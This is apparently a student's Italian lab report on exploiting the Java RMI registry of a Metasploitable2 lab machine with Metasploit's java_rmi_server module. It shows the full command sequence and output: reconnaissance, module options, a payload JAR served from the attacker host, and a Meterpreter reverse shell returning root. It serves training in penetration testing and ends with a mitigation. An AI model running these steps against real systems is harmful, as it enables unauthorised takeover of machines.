

Progetto S7-L5

Studente: Simone Mininni

Task: Sfruttare la vulnerabilità data da “java rmi” per attaccare la macchina vittima che nel nostro caso è la Metasploitable2.

Per l' attacco, quindi, utilizzeremo un exploit per “java rmi”.

Nello specifico un exploit è un codice, programma che mira a sfruttare delle vulnerabilità, intrinseche a livello di codice, presenti nei protocolli, web app, sistemi operativi ecc...

L' obiettivo è quello di prendere il controllo della macchina target, potendo fare diverse operazioni come:

- attacchi dos o ddos(denial of service), interruzione del servizio
- caricare nella macchina target codice malevolo(malware), ad esempio un ransomware che permette di crittografare l'intero file system.
- scaricare dati sensibili che possono avere dei livelli di riservatezza alti per una azienda.

Per comprendere la vulnerabilità data da “java rmi”, è necessario spiegare come funziona tale protocollo.

java rmi(remote method invocation) permette ad una applicazione java di chiamare il metodo di un processo in esecuzione su un server remoto secondo il paradigma della programmazione orientata agli oggetti.

Quindi rientriamo nella famiglia delle RPC(remote procedure call).

Nello specifico per richiamare procedure remote come se fossero in locale, intervengono diversi componenti:

- Stub: processo lato client che gestisce la comunicazione client-server, prende i parametri da passare al metodo remoto, li struttura in un pacchetto utilizzando una rappresentazione dei dati standard(XDR,external data representation) al fine di evitare problemi dovuti alla comunicazione tra macchine diverse, ed invia il pacchetto.
- Skeleton: processo lato server che prende il pacchetto, lo destruttura e invia i parametri al metodo. I risultati del metodo

stesso saranno nuovamente impacchettati e inviati al client, e li sarà poi lo stub a restituire, infine, i risultati all'applicazione client.

- **rmiregistry**: la vulnerabilità è legata proprio a questo componente. Infatti l'applicazione client ha bisogno di conoscere la locazione del server a cui vuole connettersi al fine di eseguire il metodo remoto. Per fare ciò interpella un servizio standard (name service) che è appunto il "rmiregistry". Tale servizio ha una tabella che associa i nomi dei metodi alla locazione del server che lo esegue. Quindi un potenziale attaccante può avvelenare questa tabella inserendo un riferimento a un server malevolo che restituisce al client un payload che mira a caricare una reverse shell nella macchina target, prendendone il controllo.

Una volta compresa la vulnerabilità, andremo ad attaccare proprio il servizio di "rmiregistry" in ascolto sulla porta 1099 della Metasploitable2.

Inizialmente settiamo il laboratorio, e quindi configuriamo la macchina attaccante e quella target sulla stessa rete.

Configurazione di rete di Kali(attaccante):

```
(simone@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:feaa:dfff prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:aa:df:ff txqueuelen 1000 (Ethernet)
    RX packets 256 bytes 23648 (23.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 32 bytes 3898 (3.8 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Configurazione di rete di Metasploitable2(target)

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:8d:82:ac
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe8d:82ac/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:108 errors:0 dropped:0 overruns:0 frame:0
          TX packets:105 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:8276 (8.0 KB) TX bytes:10366 (10.1 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

Successivamente verifichiamo che le due macchine comunicano effettuando un ping:

```
(simone@kali)~  
$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.533 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.615 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=5.94 ms  
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.650 ms  
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.509 ms  
^C  
— 192.168.11.112 ping statistics —  
5 packets transmitted, 5 received, 0% packet loss, time 4056ms  
rtt min/avg/max/mdev = 0.509/1.650/5.943/2.147 ms
```

Ora siamo pronti ad effettuare una scansione del target con nmap per verificare che il nostro servizio target sia attivo:

```
$ nmap -sT 192.168.11.112  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 10:23 CET  
Nmap scan report for 192.168.11.112  
Host is up (0.0011s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
23/tcp    open  telnet  
25/tcp    open  smtp  
53/tcp    open  domain  
80/tcp    open  http  
111/tcp   open  rpcbind  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
512/tcp   open  exec  
513/tcp   open  login  
514/tcp   open  shell  
1099/tcp  open  rmiregistry  
1524/tcp  open  ingreslock  
2049/tcp  open  nfs  
2121/tcp  open  ccproxy-ftp  
3306/tcp  open  mysql  
5432/tcp  open  postgresql  
5900/tcp  open  vnc  
6000/tcp  open  X11  
6667/tcp  open  irc  
8009/tcp  open  ajp13  
8180/tcp  open  unknown  
  
Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds
```

Vediamo che il servizio che vogliamo exploitare è attivo sulla porta 1099.

Per sfruttare la vulnerabilità e lanciare l'exploit ci serviremo di un tool chiamato Metasploit.

Una volta avviato, cerchiamo eventuali exploit disponibili per la vulnerabilità “java rmi”:

```
msf6 > search rmiregistry

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution

Interact with a module by name or index. For example `info 0`, use `0` or use `exploit/multi/misc/java_rmi_server`

Usiamo `exploit/multi/misc/java_rmi_server`

Visualizziamo le opzioni per capire quali parametri bisogna impostare per lanciare correttamente l'attacco:

```
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Generic (Java Payload)

View the full module info with the `info`, or `info -d` command.

Dalle opzioni possiamo vedere che è necessario ovviamente impostare l'ipv4 della macchina target(rhosts).

Inoltre il payload settato di default utilizza meterpreter, una shell avanzata che permette di eseguire varie operazioni per controllare la macchina target. Inoltre si tratta di una reverse shell, quindi la sessione sarà creata dalla macchina target verso la macchina attaccante. Per quanto riguarda lhost e lport, rappresenta il socket(ip:porta) dell'attaccante con il quale andrà a stabilire la connessione con il target.

Dopo che abbiamo settato rhosts con “`set rhosts 192.168.11.112`(ip del target)”, siamo pronti a eseguire l'exploit.

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/3qG0AuC
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57670 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:45330) at 2023-11-10 11:04:09 +0100

meterpreter > █
```

La sessione di Meterpreter è stata creata, quindi abbiamo il controllo della macchina.

Eseguiamo alcune verifiche come:

Configurazione di rete:

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe8d:82ac
IPv6 Netmask : ::
```

Informazioni di sistema:

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

Tabella di route:

```
meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

Utente:

```
meterpreter > getuid  
Server username: root
```

Siamo root, quindi abbiamo privilegi di amministratore.

Quindi l'exploit è andato a buon fine e siamo riusciti a sfruttare la vulnerabilità di "java rmi" per prendere il controllo della macchina.

In conclusione la vulnerabilità è data da una mal configurazione di "rmiregistry" ed una soluzione può essere quella di permettere solo all'host su cui agisce il servizio di effettuare le chiamate delle procedure per associare il nome del metodo al server, non permettendo a terzi, di "avvelenare" la tabella del registry.